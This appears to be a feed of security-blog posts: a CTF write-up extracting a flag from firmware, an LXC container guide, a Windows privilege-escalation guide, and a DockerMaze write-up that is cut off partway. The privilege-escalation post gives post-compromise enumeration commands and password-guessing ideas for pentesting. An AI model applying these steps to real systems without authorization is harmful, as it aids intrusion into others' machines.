Quantcast
Channel: Testpurposes
Viewing all 34 articles
Browse latest View live

Write-up VODKA – Final CTF NCN 2014

$
0
0

¡Buenas! Primero de todo me presento: mi nombre es Marc Peña (@p4chul0) y también soy miembro del equipo 0xB33r$. Hoy, continuando con las publicaciones sobre los retos de la final del CTF de la No cON Name, publicamos otro write-up.

Uno de los retos con los que estuve enfrascado durante el CTF fue VODKA (https://github.com/MarioVilas/write-ups/tree/master/ncn-ctf-2014/vodka); en el mismo se obtenía un archivo con ese mismo nombre, que tras un primer análisis con file:

root@wheezy-kali:~/ctf_NCN/vodka# file vodka
vodka: bzip2 compressed data, block size = 900k

Parecía que se trataba de un archivo comprimido; tras extraerlo:

root@wheezy-kali:~/ctf_NCN/vodka# bzip2 -d vodka
bzip2: Can't guess original name for vodka -- using vodka.out

Obteníamos un archivo con una captura de tráfico de red:

root@wheezy-kali:~/ctf_NCN/vodka# file vodka.out
vodka.out: pcap-ng capture file - version 1.0

Que pasábamos a analizar con Wireshark:

01_vodka

Donde enseguida veíamos que se trataba de la transferencia de una imagen OpenWRT a través del protocolo TFTP.

Tras buscar como extraer el binario con el propio Wireshark nos encontramos con esto:

Que nos da a entender que la funcionalidad está implementada, pero no en la versión de Wireshark que tenemos instalada en nuestra Kali (1.10.2), por lo que tendríamos que compilar el trunk de Wireshark. Con el siguiente comando:

  • Instalaremos los paquetes necesarios para la compilación.
  • Clonaremos el repositorio de Wireshark.
  • Configuraremos y compilaremos el trunk.

apt-get install autoconf bison flex libtool libgtk2.0-dev libpcap-dev libc-ares-dev libsmi2-dev libgnutls-dev libgcrypt11-dev libkrb5-dev libcap2-bin libgeoip-dev libortp-dev libportaudio-dev qt4-dev-tools && \
apt-get build-dep wireshark && \
cd /opt/ && \
git clone https://code.wireshark.org/review/p/wireshark.git && \
cd /opt/wireshark && \
./autogen.sh && \
./configure --enable-dumpcap --enable-setcap-install --with-dumpcap-group=wireshark && \
make -j 8

Si todo ha ido bien ya podremos abrir el archivo con la última versión de Wireshark:

root@wheezy-kali:~/ctf_NCN/vodka# /opt/wireshark/wireshark vodka.out

Y exportar el archivo (File -> Export Objects -> TFTP):

02_vodka

Ahora tocaba lidiar con la imagen, por lo que instalamos el binwalk (https://github.com/devttys0/binwalk) del gran devttys0 (http://www.devttys0.com/):

apt-get install binwalk

Una vez hecho esto ya se podían observar las características de la imagen:

root@wheezy-kali:~/ctf_NCN/vodka# binwalk openwrt-wrtsl54gs-squashfs.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
32 0x20 TRX firmware header, little endian, header size: 28 bytes, image size: 1323008 bytes, CRC32: 0x6CAC483 flags: 0x0, version: 1
2296 0x8F8 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes
517152 0x7E420 Squashfs filesystem, little endian, version 2.1, size: 805671 bytes, 269 inodes, blocksize: 65536 bytes, created: Wed Oct 29 18:53:25 2014

Y extraer el sistema de archivos Squashfs (por defecto en el directorio “_openwrt-wrtsl54gs-squashfs.bin.extracted”):

root@wheezy-kali:~/ctf_NCN/vodka# binwalk -e openwrt-wrtsl54gs-squashfs.bin

Una vez dentro de este ya podíamos pasar a navegar por el sistema de archivos en busca de la flag:

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root# ls
bin dev etc jffs lib mnt proc rom sbin tmp usr var www

En el directorio que miramos primero (/bin) encontramos un archivo con una fecha de modificación muy cercana a la de creación del sistema Squashfs:

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root# ls -lisah bin/
total 596K
3670108 4.0K drwxr-xr-x 2 root root 4.0K Oct 29 18:50 .
3670107 4.0K drwxr-xr-x 14 root root 4.0K Jan 30 2007 ..
...
3670142 8.0K -rwxr-xr-x 1 root root 4.2K Oct 29 18:52 nc
...

Por lo que parecía un buen candidato para empezar a buscar. Si abríamos el archivo con un editor de texto veíamos que se trataba de un script en bash que muestra un “Nyan cat” en ASCII Art:

#!/bin/bash
# --------------------------------------------------------------------------
# (c) 2012 BruXy Version: 1.0 http://bruxy.regnet.cz/
# --------------------------------------------------------------------------
# switch off cursor, set blue background, clear screen
echo -e "\E[?25l\E[44m\E[2J"
# Play music
#M=/tmp/cat_orig.mp3
#[ ! -f $M ] && wget http://nyan.cat/music/original.mp3 -O $M >/dev/null 2>&1
#while true; do mplayer $M > /dev/null 2>&1; done &
# easy way to reset terminal and exit subprocesses
trap "reset;killall nc" 2
## Nyan cat ANSI picture data, my own creation :P, size 38 x 11
# Compressed version of picture
D="H4sIAHUNPlAAA22Q2w7CIAyG730rC1IGEs3itoS7cYlLvFGf37YcPMQvo5DxpT+pMYLb/8OVSxNv
Aiq1Db9sSmG1TgKqdhXqktKtsyBW6F08gB/EcgAUG2eAeRxbryqi1hq89yvQgfrFZ6If8E7sVoet
aVqWlNjqgYGlA5ckG5r4EGqvHmgtGeWzlqwLc6dJHD8Sr/IMQadMiTxR0IDrN/RUUjDnLJOghYn9
UgtyzvTcNvvdCw/8WhWjAQAA"

Sabiendo esto vamos podíamos ir a buscar la versión original del mismo:

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root/bin# wget http://bruxy.regnet.cz/linux/nyan_cat/nyan_cat.sh

Para analizar las diferencias:

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root/bin# diff nyan_cat.sh nc
9,11c9,11
< M=/tmp/cat_orig.mp3
< [ ! -f $M ] && wget http://nyan.cat/music/original.mp3 -O $M >/dev/null 2>&1
< while true; do mplayer $M > /dev/null 2>&1; done &
---
> #M=/tmp/cat_orig.mp3
> #[ ! -f $M ] && wget http://nyan.cat/music/original.mp3 -O $M >/dev/null 2>&1
> #while true; do mplayer $M > /dev/null 2>&1; done &
14c14
< trap "reset;killall nyan_cat.sh" 2
---
> trap "reset;killall nc" 2
42c42,47
< printf "%*s" $[X*Y] BruXy
---
> file="/etc/banner"
> za="N"
> t1="C"
> drink="$(md5sum $file | grep -o ^[^\ ]*)"
> msg_="${za}${t1}${za}dead${drink}face"
> printf "%*s" $[X*Y] ${msg_}

¡Obteniendo lo que parece el código que genera la flag!

Creamos un nuevo archivo con este código (con la única modificación de la ruta del fichero, para convertirla en relativa):

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root/bin# cat vodka_flag.txt
#!/bin/bash
file="../etc/banner"
za="N"
t1="C"
drink="$(md5sum $file | grep -o ^[^\ ]*)"
msg_="${za}${t1}${za}dead${drink}face"
printf "%*s" $[X*Y] ${msg_}

¡Y lo ejecutamos  para obtener la flag!:

root@wheezy-kali:~/ctf_NCN/vodka/_openwrt-wrtsl54gs-squashfs.bin.extracted/squashfs-root/bin# chmod +x vodka_flag.txt && ./vodka_flag.txt
NCNdeadb6adec4c77a40c23e04770924d3c5b18face

Aunque tampoco pudimos resolver este reto dentro del CTF. no quiero terminar sin felicitar a los organizadores por unas pruebas de lo más originales.

¡Saludos!


Using LXC containers to (partially) replace Virtual Machines

$
0
0

Note: This post is the first that we write in English and even though till now all of them were written in Spanish, from now on we will publish content in both languages.

It doesn’t matter if it’s for doing pentests or participating in CTFs, preparing Virtual Machines for different systems and tools is a recurrent task.

For full blown virtualization the two main options are Virtual Box and the multiple flavors of VMWare, but (being an Ubuntu fan) I’ve been lately experimenting with LinuX Containers (LXC), a technology for Linux-based systems sometimes described as:

“something in the middle between a chroot and a full fledged virtual machine”

or

“lightweight virtualization technology. They are more akin to an enhanced chroot than to full virtualization like VMware or QEMU. They do not emulate hardware and containers share the same operating system as the host.”

Each option has its advantages and disadvantages:

  • There is almost no overhead in running a container, since everything is managed by the host kernel.
  • LXC containers use the host kernel and they are limited to Linux, so no Windows or OSX containers are feasible.

After this short introduction, in this post I will describe:

  • How to create a Kali-like unprivileged container starting from a Debian container.
  • How to “passthrough” devices to a container, like for example an USB RTL-SDR.
  • How to run GUI applications in a container.
  • Some general tips & tricks.

Everything explained here assumes that you are running an Ubuntu 14.04 (or a 12.04 with the 3.13 kernel) based host using the 1.0.x LXC branch (use this ppa for 12.04).

Most of the information showed here is just a recompilation from all this sources:

Configuring the host

We are gonna need at least to install this packages to host containers:

sudo apt-get install lxc systemd-services uidmap

And to be able to use unprivileged containers, we will have to follow the instructions posted by Stéphane Graber, one of the main maintainers of the project, in this post:

That can be resumed in:

Adding sub-UIDs & sub-GIDs for the current user with the following commands:

sudo usermod --add-subuids 100000-165536 $USER && \
sudo usermod --add-subgids 100000-165536 $USER && \
sudo chmod +x $HOME

Setting the default configuration for LXC in file ~/.config/lxc/default.conf:

lxc.network.type = veth
lxc.network.link = lxcbr0
lxc.network.flags = up
lxc.network.hwaddr = 00:16:3e:xx:xx:xx
lxc.id_map = u 0 100000 65536
lxc.id_map = g 0 100000 65536

And allowing the use of 10 virtual network-interfaces in the non-privileged containers adding this to file /etc/lxc/lxc-usernet:

$USER veth lxcbr0 10

Container creation

Now that our system is ready to create unprivileged containers, we can do create our first one. For example, we can download a image from the official repository to create our container with:

lxc-create --template download --name wheezy-kali

And choose, for this example: debian as distribution, wheezy as release and amd64 as architecture.

Once the image has finished downloading and the container has been created, we can start it in non-interactive mode with:

lxc-start --name wheezy-kali --daemon

And then install some basic packages, like OpenSSH and support for X11 forwarding, directly from the host:

lxc-attach --name wheezy-kali -- apt-get update
lxc-attach --name wheezy-kali -- apt-get dist-upgrade -y
lxc-attach --name wheezy-kali -- apt-get install openssh-server xauth -y

We can list the basic information from containers (like their IPs) with this command:

lxc-ls --fancy

Transforming a Debian container into Kali

To access the container we can use SSH, but first we will need to access it this way:

lxc-attach --name wheezy-kali

And set a password for the root user.

Once connected (or attached) to the Debian container, we can proceed with the apt sources modification, editing the /etc/apt/sources.list file to add the Kali repositories:

#deb [arch=amd64] http://http.debian.net/debian wheezy main contrib non-free
#deb [arch=amd64] http://security.debian.org/ wheezy/updates main contrib non-free
deb [arch=amd64] http://http.kali.org/kali kali main non-free contrib
deb-src http://http.kali.org/kali kali main non-free contrib
deb [arch=amd64] http://security.kali.org/kali-security kali/updates main contrib non-free

And then updating our local copy with:

apt-get update

But an error will tell us that we don’t have the public key ID to verify the signatures of the packages in that repositories, so we should import and add it to apt with these commands:

gpg --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6
gpg --armor --export ED444FF07D8D0BF6 | apt-key add -

If we update the software sources now, the error will be gone and we can finally turn the container into a Kali one:

apt-get update && apt-get install kali-archive-keyring && apt-get dist-upgrade -y

Hardware passthrough

As explained in multiple sources:

To passthrough devices we have to add lines like these ones in the config file of the containers (.local/share/lxc/container_name for unprivileged containers):

lxc.cgroup.devices.allow = c X:* rwm
lxc.mount.entry = /host_dir none bind,optional,create=dir

Using the minor and major nodes of the device/s that we want to grant access to.

Note: To find out the minor and major nodes of a device we can execute this on the host:

ls -lisah /sys/dev/*

For example, for using a RTL-SDR USB inside a container the following lines need to be added:

# RTL-SDR device
lxc.cgroup.devices.allow = c 189:* rwm
lxc.mount.entry = /dev/bus/usb/002 dev/bus/usb/002 none bind,optional,create=dir
lxc.mount.entry = /dev/rtl_sdr dev/rtl_sdr none bind,optional,create=file

Note: In the case of the RTL-SDR we will first have to configure the udev rules in the host system for it to work as a SDR:

And for an USB-to-serial converter I did have to add:

# USB-to-serial device
lxc.cgroup.devices.allow = c 188:0 rw

The only caveat with containers hardware passthrough is that anything that needs a modified kernel will only work if the host Kernel is modified.

Running GUI applications

Apart from running X11 applications trough a SSH we can also do it the “native” way, letting the unprivileged container access to the video-card devices (and even the audio server). For more information check this sources:

Tips & Tricks

Systemd based guests

When trying to containerize systemd based guests (like Arch Linux or Debian Jessie) we will need to use the current version of LXC (1.1.2 as of right now) and additional tools (like lxcfs). To get all those in supported versions of Ubuntu we will need to use the following PPA:

It should be noted that unprivileged containers and systemd are not working flawlessly right now, but as stated here:

More recent Debian is hitting a few systemd issues along the way but it eventually boots and seems functional, this will get resolved as Debian either updates to a more recent systemd or cherry-picks the various container fixes we committed to systemd upstream.

It should improve over time.

Offering network services from a container

To allow a service running inside a container to be reached from a network were the host is connected, we should add an iptables rule like this one in the host:

iptables --table nat --append PREROUTING --protocol tcp --in-interface eth0 --destination-port host_port --jump DNAT --to-destination $CONTAINER_IP:$CONTAINER_PORT

Bug in ZAP starting script (and maybe other Kali applications)

ZAP in Kali contains a bug that prevents it from starting in a host with a kernel different from the one that comes with Kali. In the file /usr/bin/zap the architecture is obtained with:

ARCH=`uname -r|cut -d "-" -f 3`

But a better way would be:

uname -m

But until they fix it (https://bugs.kali.org/view.php?id=2238), we can modify the corresponding comparison for our architecture:

...
-elif [ $ARCH == amd64 ]
+elif [ $ARCH == x86_64 ]
...

Recommended packages (for the forgetful)

In every Debian-based system that I use I like to install some essential packages to fight my poor memory:

apt-get install bash-completion command-not-found

Escalada de privilegios en sistemas Windows (I)

$
0
0

En esta serie de posts hablaremos de cómo realizar una escalada de privilegios en un sistema Windows, es decir, llegar a ser SYSTEM desde una cuenta de usuario sin privilegios.

En ocasiones la principal estrategia utilizada se basa en probar exploits para la versión de windows del objetivo, y aunque esto puede ser efectivo un gran numero de veces, queremos presentar una breve guía divida en fases que permitan al pentester realizar la escalada de privilegios de una forma ordenada, eficiente y probando diferentes vectores de ataque.

Remarcar que actualmente existen muchas referencias en Internet que tratan este tema siendo algunas de las principales las mencionadas a continuación: 

  1. FuzzySecurity
  2. Encyclopaedia Of Windows Privilege Escalation – Brett Moore
  3. Windows Attacks At Is The New Black – Rob Fuller And Chris Gates
  4. Windows Privilege Cheatsheet
  5. Windows_Services – All roads lead to SYSTEM
  6. Windows privilege escalation

En nuestro caso queremos hacer una síntesis de ellas y explicarlas paso a paso, sin embargo, señalar que queda fuera del alcance de este post como conseguir la Shell en el sistema.

Aclarado todo, empecemos, tenemos una Shell en una maquina Windows, molto benne…¿y ahora que demonios hacemos?

¿Dónde estoy? ¿Qué es ESTO? – Information gathering

Bien, en estos momentos, disponemos de una Shell en un sistema Windows. Antes de lanzarnos al ataque y disparar a todo lo que se mueva, es esencial realizar la fase de Information gathering. 

Lo principal es no obcecarse con ser SYSTEM, primero hay que conocer el entorno, cuanta más información  se tiene del activo más fácil es detectar un posible fallo de seguridad.

Información general

Sin ninguna duda, lo primero es obtener la versión exacta de Windows (OS Version) y (OS Name)  y información genérica. Para este propósito, se ejecuta el siguiente comando:

  • systeminfo

systeminfo7

 

  • Otra posibilidad: systeminfo | findstr /B /C:”OS Name” /C:”OS Version” (ojo con los idiomas)

systeminfoxp

 

Ok, ahora vamos a saber como se llama el host, que aunque parezca no relevante, siempre nos puede aportar información o alguna pista.

  •  hostname

hostname

 

Finalmente, es el momento de saber con que usuario estamos logged en el sistema, a lo mejor ya somos admin y no hace falta hacer nada más, aparte de celebrar una gran fiesta.

  • echo %username%

username

 

  • whoami

whoami

Información sobre usuarios

Siguiente paso, todo sistema operativo tiene usuarios que lo utilizan, miremos que usuarios tiene nuestro objetivo:

  • net users – net user $name_user

netusers

Vaya vaya Joe, además del usuario “Administrador” también existe el usuario “Nyanyi” que pertenece al grupo “Administradores”…..uhmm….interesante. Con este simple comando acabamos de ampliar las opciones de ataque.

Información de red

¿Está el host solo en el mundo? ¿en que red está? ¿con que máquinas habla?.  Tener la respuesta a estas preguntas podría ser la puerta de acceso a otras máquinas del entorno, imaginar que se puede alcanzar el ansiado SYSTEM en esta máquina pero si dirigir el pentest a otras máquinas .

Por otra parte, es muy útil conocer que servicios están a la escucha en el activo,que conexiones hay con otras máquinas. Quién sabe, a lo mejor algunos de los servicios publicados es vulnerable…

Los comandos a ejecutar serían los siguientes:

  • ipconfig /all
  • route print
  • arp -A
  • netstat -ano

ifconfig

 

route

 

netstat

 

Nota: A partir de XP SP2 utilizar los siguientes comandos para obtener información sobre el Firewall de la máquina:

  • netsh firewall show state
  • netsh firewall show config

firewall

Información sobre los servicios

Hasta este punto, se ha hablado sobre cómo obtener información general del sistema, que usuarios tiene y que comunicaciones hay a nivel de red. Uno de los últimos puntos a tratar en esta introducción  son las “tareas” o “servicios” existentes en la máquina.

De momento, sin querer entrar en detalle, un servicio no es más que la ejecución, en segundo plano, de un binario. Por lo tanto, hay 3 conceptos claves:

  • Binario que determina que acciones realizara el servicio.
  • Usuario que ejecuta el servicio.
  • Los privilegios del servicio, por ende, serán los mismos que los del usuario.

Los comandos a ejecutar para obtener la información relacionada con los servicios son los siguientes:

  • schtasks /query /fo LIST /v | more (tareas programadas)

servicios1

  • tasklist /SVC (servicios relacionado con su proceso)

tasklist

  • net start

netstart

  • sc queryex type= service state= all | find “$_NAME” (hablaremos más adelante de este comando (thanks P4chul0).

Conclusiones de la fase I

Con toda la información que hemos obtenido es el momento de realizar una primera iteración con el objetivo de lograr System, o en su defecto, un usuario administrador.

Pruebas a realizar:

  1. Tenemos el nombre de los usuarios, a lo mejor, hay alguno de ellos sin contraseña o que ésta sea su mismo nombre. O inclusive, que la contraseña sea el nombre del hostname….por qué no?.
  2. Se puede buscar su nombre de usuario en Checkusernames con la idea de obtener aún más información de redes sociales.
  3. Probar los usuarios en otras máquinas de la red.
  4. ¿Hay algún servicio publicado vulnerable?
  5. Imaginar

Si nada de esto funciona, pasaremos a la fase II. Es esencial recopilar toda la información obtenida en esta fase, porque cualquier dato obtenido puede ser la clave que nos ayude en procesos futuros más complejos, por ejemplo, la búsqueda de un exploit o una reverse shell por un puerto que no este cerrado por el firewall…

 

DockerMaze challenge write-up

$
0
0

UPDATE 23/11/2015: new info thanks to @nibble_ds, one of the challenge authors, inline the post :)

Last November 16-17th the Dockercon eu 2015 was held in Barcelona, and the Schibsted team published the DockerMaze challenge, a labyrinth escape game like those we used to play in the 90s. In the game you wake up alone in the middle of a labyrinth and you have to escape from it, and through a console you can use commands to interact with the environment.

In this post I will show how I had fun solving the challenge! :D

The “help” command uncovers a set of commands that includes “look”, “interact” and “escape”. If you do “look front” the game says that there are some signs on the wall, and after executing “inspect wall” some clues are revealed:

Found rooms:
  - schibstedchallenge/dockermaze-weisse:latest
  - schibstedchallenge/dockermaze-stout:latest
  - schibstedchallenge/dockermaze-porter:latest
  - schibstedchallenge/dockermaze-ipa:latest
Found Keys:
  - FollowTheWhiteRabbit
Followed path:
  - Input: https://challenge.schibsted.com/assets/data/ct1.bin
  - Output: ?
More than a year and I'm still here. I'm loosing all hope. Maybe there is another key?

A quick inspection of the binary file doesn’t give much information.

 

Captura de pantalla 2015-11-21 a las 23.05.11

Next step was to download the docker images and to inspect them:

docker pull schibstedchallenge/dockermaze-weisse:latest
docker pull schibstedchallenge/dockermaze-stout:latest
docker pull schibstedchallenge/dockermaze-porter:latest
docker pull schibstedchallenge/dockermaze-ipa:latest

Let’s play with those docker images then :)

WEISSE

docker inspect schibstedchallenge/dockermaze-weisse:latest

Relevant info:

"Entrypoint": [
 "/usr/local/bin/start.bash"
 ]
"ExposedPorts": {
 "1954/tcp": {}
 }

Captura de pantalla 2015-11-21 a las 23.39.25

Seems that there’s a ruby application (“weisse.rb”) listening at the port 1954/tcp, that is executed by the bash script “start.bash”. Inside that script additional information is given:

# We use eureka + prana for service discovery.

This clue will be useful later :)

Looking at the “weisse.rb” file I saw that the application exposes a REST endpoint (“/turing”) that runs the received data in an Enigma machine. Furthermore, to set up the enigma machine it tries to get some information making DNS requests to a host with name “porter”.

Here are some snippets of it :)

...SNIP...
BFBASE = 'aaa'
set :bind, '0.0.0.0'
set :port, 1954
post '/turing' do
 data = request.body.read
 rotors = get_rotors('porter')
plugboard = Hash[*PLUGBOARD.pack('H*').split('')]
 plugboard.merge!(plugboard.invert)
 rotors.map! do |r|
 Hash[[r].pack('H*').split('').zip((0...256).map{|i| i.chr})]
 end
 reflector = Hash[*REFLECTOR.pack('H*').split('')]
 reflector.merge!(reflector.invert)
 enigma(data, plugboard, rotors, reflector)
end
...SNIP...
def get_rotors(nameserver)
 rotors = []
Resolv::DNS.open({:nameserver=>[nameserver]}) do |r|
 ctr = 0
loop do
 begin
 n = r.getresource("walzen-#{ctr}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.to_i
 rescue Resolv::ResolvError
 break
 end
bf = BFBASE.dup
 found_chunks = 0
 rotors[ctr] = ''
while found_chunks < n
 begin
 ck = r.getresource("walzen-#{ctr}-#{bf}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.delete('"')
 rotors[ctr] << ck
 found_chunks += 1
 rescue Resolv::ResolvError
 next
 ensure
 bf.next!
 end
 end
ctr += 1
 end
 end
rotors
end
...SNIP...

STOUT

docker inspect schibstedchallenge/dockermaze-stout

Relevant info:

"Entrypoint": [
 "/usr/local/bin/stout.py"
 ]
"ExposedPorts": {
 "31337/tcp": {}
 }

But an error is raised when trying to run the docker image:

Captura de pantalla 2015-11-22 a las 0.06.51

As the container didn’t start due to the error, I changed the entry point of the container to be able to snoop the “stout.py”.

docker run -ti --entrypoint /bin/bash --name stout schibstedchallenge/dockermaze-stout
docker cp stout:/usr/local/bin/stout.py .
#!/usr/bin/env python
import os
import sys
import socket
import base64
from datetime import datetime
from dns import resolver
from flask import Flask, request, make_response
app = Flask('stout')
PORTER_HOST = os.getenv('PORTER_PORT_53_TCP_ADDR')
def xor(data, key):
 return "".join(map(lambda i: chr(ord(data[i]) ^ ord(key[i%len(key)])), xrange(len(data))))
def transform(data):
 s = socket.socket()
s.connect(('ipa', 6060))
 s.sendall(base64.b64encode(data) + "\n")
 ret = s.makefile().readline().decode('base64')
 s.close()
 return ret
@app.route("/gate", methods=['POST'])
def gate():
 t1 = datetime.now()
data = request.stream.read()
dns_resolver = resolver.Resolver()
dns_resolver.nameservers = [PORTER_HOST]
 dns_answer = dns_resolver.query('bitwise.dockermaze', 'TXT')
 secret = dns_answer[0].to_text().strip('"')
ret = transform(xor(data, secret))
t2 = datetime.now()
resp = make_response(ret, 200)
 resp.headers.extend({'X-Dockermaze-Time': t2-t1})
return resp
if __name__ == '__main__':
 if not PORTER_HOST:
 sys.exit('error: cannot get key')
 app.run(host='0.0.0.0', port=31337)

What can be seen is that the script is publishing a REST endpoint that XORes the received data with a secret, obtained through a DNS request to the “porter” host (you have to provide its IP by an envvar), and sends the result to the “ipa” host.

 PORTER

docker inspect schibstedchallenge/dockermaze-porter

Relevant info:

"Entrypoint": [
 "/usr/sbin/named"
 ]
"ExposedPorts": {
 "53/tcp": {}
 }

As suspected providing the info obtained from the “stout” and “weisse” containers, the porter looks like a DNS server.

Captura de pantalla 2015-11-22 a las 13.08.35

Bingo! one of the entries present in the “db.dockermaze” dns zone configuration for bind contains the secret key needed by “stout.py” to work (between other relevant entries we’ll see below).

IPA

docker inspect schibstedchallenge/dockermaze-ipa

Relevant info:

"Entrypoint": [
 "/usr/local/bin/start.bash"
 ]
"ExposedPorts": {
 "6060/tcp": {}
 }
"Env": [
 "PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
 "GOLANG_VERSION=1.5.1",
 "GOLANG_DOWNLOAD_URL=https://golang.org/dl/go1.5.1.linux-amd64.tar.gz",
 "GOLANG_DOWNLOAD_SHA1=46eecd290d8803887dec718c691cc243f2175fe0",
 "GOPATH=/go"
 ]

The golang traces clearly point to @nibble_ds as one of the crime authors ;)

When trying to run the “ipa” image, an error is raised:

2015/11/22 12:20:20 error: envvar AES_KEY not defined

Let’s try to get more info of it:

 

Captura de pantalla 2015-11-22 a las 13.34.52

As can be seen the container also makes use of Prana and Eureka (parts of the Netflix stack), and runs a “ipa” golang binary. In this case, the challenge authors made our life easier giving us the source code too ;). In any case, the bin was not stripped.

$ file ipa
ipa: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped

Snooping the source code of the “ipa” application (“ipa.go”), we can see that it listens to the port 6060/tcp, and decodes (base64) and decrypts the received data, using AES-256 CTR mode using a key provided by the environment variable “AES_KEY”. The result is sent to the “weisse” REST endpoint and the returned data is base64 encoded and sent back to the caller.

Snippets FTW!

...SNIP...
var AesKey = os.Getenv("AES_KEY")
func main() {
...SNIP...
ln, err := net.Listen("tcp", ":6060")
...SNIP...
func handleConnection(conn net.Conn) {
 defer conn.Close()
br := bufio.NewReader(conn)
 line, err := br.ReadString('\n')
...SNIP...
data, err := base64.StdEncoding.DecodeString(line)
...SNIP...

 decdata, err := decrypt(data, []byte(AesKey))
...SNIP...
transdata, err := transform(decdata)
...SNIP...
ret := base64.StdEncoding.EncodeToString([]byte(transdata))
fmt.Fprintln(conn, ret)
}
...SNIP...
func transform(data []byte) (transdata []byte, err error) {
 c := goprana.NewClient(goprana.DefaultPort)
 resp, err := c.Post("weisse", "/turing", "application/octet-stream", bytes.NewReader(data))
 if err != nil {
 return nil, err
 }
 defer resp.Body.Close()
return ioutil.ReadAll(resp.Body)
}

 

 

OK so, let’s put all the pieces together:

  1. The “stout” machine expects some data to be received by a POST HTTP method to its REST endpoint, listening at the 31337/tcp port. He gets a secret key from the “porter” machine (via DNS request) and after applying a transform to the received data, sends it base64 encoded to the “ipa” host.
  2. The “ipa” host receives the data sent by “stout”, decodes it (base64) and decrypts it using the provided AES_KEY via envvar. Then sends the decrypted data to the “weisse” endpoint.
  3. The “weisse” endpoint applies an enigma decryption to the received data, getting information about the rotors through DNS requests to the “porter” DNS server, and returns the decrypted data to the “ipa”.
  4. The “ipa” base64-encodes the response and returns it to “stout”.
  5. The “stout” machine decodes the bas64 response and delivers it to the caller.

On the other hand we had the “ct1.bin” file and the “FollowTheRabbit” key, so we can make the below assumptions:

  • The AES_KEY is “FollowTheRabbit”.
  • The “ct1.bin” is the encrypted data we want to decrypt using the container chain.

So we need to link the containers in order to let them talk to each others, taking into account that “weisse” and “ipa” use Prana & Eureka to communicate.

Note of the author: Juan told me that would be great to put a diagram in this place to improve the explanation, but… I’ll do it only for a beer. If you want a diagram just make me happy and bring me one!  ;-P

UPDATE 23/11/2015: nibble provided this awesome diagram :)

diagram

 

This is what I did:

docker pull netflixoss/eureka:1.1.147
docker run -d --name eureka netflixoss/eureka:1.1.147
docker run -d -P --name porter schibstedchallenge/dockermaze-porter
docker run -d -P --name weisse --link porter:porter --link eureka:eureka schibstedchallenge/dockermaze-weisse
docker run -d -P -e "AES_KEY=FollowTheWhiteRabbit" --name ipa --link weisse:weisse --link eureka:eureka schibstedchallenge/dockermaze-ipa
docker run -d -p 31337:31337 --name stout --link ipa:ipa --link porter:porter schibstedchallenge/dockermaze-stout

And then I waited some minutes before sending the requests to the “stout” endpoint (due to the advice found in the “start.bash” file):

curl -v -X POST --data-binary @ct1.bin http://localhost:31337/gate --header "Content-Type:application/octet-stream"

Captura de pantalla 2015-11-22 a las 19.02.35

OK, I was on the right path but unfortunately I was not attending the Dockercon :(. Fortunately after the con @nibble_ds sent me the key they were giving in the Schibsted booth (thanks sir!).

qrcode

When scanned the QR code a snippet of ruby code appeared:

puts 'z4LufsdfTf{bNsfldpE'.bytes.map { |ch| (ch.ord - 1).chr }.reverse.join

After executing it you get the new key! (“DockerMazeSecretK3y”).

We should be close, but when I tried again the same “curl” command but modifying the AES_KEY, the “ct1.bin” didn’t work as the encrypted message. Where could we get a new message?

I remembered the DockerMaze “escape” command that receives a parameter “ip”. So I did a DNAT from my public IP to the 31337/tcp port of the “stout” (PublicIP:31337 -> PrivateIP:31337), and executed:

escape x.x.x.x

Where “x.x.x.x” was my public IP, and I got:

Trying to escape... Wait...
Hummm… Everything seems to be okay but you must be faster… 20.040787 seconds is too much

So we need to make something to be faster. After inspecting what part of the chain triggered more, the “weisse” component stood up as highly inefficient. The problem was in this loop when getting the rotors:

...SNIP...

BFBASE = 'aaa'

...SNIP...
def get_rotors(nameserver)
 rotors = []
Resolv::DNS.open({:nameserver=>[nameserver]}) do |r|
 ctr = 0
loop do
 begin
 n = r.getresource("walzen-#{ctr}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.to_i
 rescue Resolv::ResolvError
 break
 end
bf = BFBASE.dup
 found_chunks = 0
 rotors[ctr] = ''
while found_chunks < n
 begin
 ck = r.getresource("walzen-#{ctr}-#{bf}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.delete('"')
 rotors[ctr] << ck
 found_chunks += 1
 rescue Resolv::ResolvError
 next
 ensure
 bf.next!
 end
 end
ctr += 1
 end
 end
rotors
end

Most of the requested DNS entries were like these:

walzen-0 IN TXT "4"
walzen-0-aaa IN TXT "7b57e0a216b65a40534e4c8bcc787a8e5b3722657dcfb0d199950688ef0c718cbf1094bd0ff7d687c69cfba09d42caaa13d4cdb24f8f892877b4a91f596b2615"
walzen-0-aab IN TXT "6f48936c561d66625e31702143c2978ddaf19f60dcfd340e3b3c2b725404a820613ad369ae0a30a5b76de14d08d041337c02ceacbed5e7c3deee67ad7f63f529"
walzen-0-aac IN TXT "f3523e2746b1e524a48451ff1e5c92f6d796b9b89036c43d8ae8f486c7c1bc2ea601499e6eab81e383c0392c2d0514f0e9324af985507efa116a743523cb00fe"
walzen-0-aad IN TXT "1a68df6455c8ec914476fcc5808279f298ed3f5dbba7a3b54b250309d92f17a112b307db75eb1c2af8dd38e473d819afd2e2ea1be6c90b589aba5f470d18459b"
walzen-1 IN TXT "4"
walzen-1-aaa IN TXT "0ec8580062742e72c3d96fc76d4f21bacdf03887256bb7c9d42a27c5cb43e216405163e7a3427a071033ea3944899f88d63f83e41d91ad1a19b39c455c041294"
